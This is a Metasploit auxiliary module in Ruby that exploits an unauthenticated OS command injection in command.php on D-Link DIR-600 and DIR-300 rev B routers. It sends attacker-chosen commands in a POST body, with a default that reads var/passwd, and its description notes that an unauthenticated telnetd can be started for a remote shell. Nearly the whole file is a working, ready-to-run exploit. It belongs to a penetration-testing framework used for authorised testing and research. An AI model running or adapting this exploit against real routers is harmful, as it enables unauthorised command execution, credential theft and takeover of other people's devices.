##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
			'Description'     => %q{
					This module exploits an OS Command Injection vulnerability in some D-Link
				Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
				command.php, which is accessible without authentication. This module has been
				tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
				In order to get a remote shell the telnetd could be started without any
				authentication.
			},
			'Author'          => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
			'License'         => MSF_LICENSE,
			'References'      =>
				[
					[ 'OSVDB', '89861' ],
					[ 'EDB', '24453' ],
					[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
					[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 04 2013'))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd'])
			], self.class)
	end

	def run
		uri = '/command.php'

		print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])

		data_cmd = "cmd=#{datastore['CMD']}; echo end"

		begin
			res = send_request_cgi(
				{
					'uri'    => uri,
					'method' => 'POST',
					'data'   => data_cmd
				})
			return if res.nil?
			return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
			return if res.code == 404
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return
		end

		if res.body.include?("end")
			print_good("#{rhost}:#{rport} - Exploited successfully\n")
			print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
			print_line("#{rhost}:#{rport} - Output: #{res.body}")
		else
			print_error("#{rhost}:#{rport} - Exploit failed.")
		end
	end
end
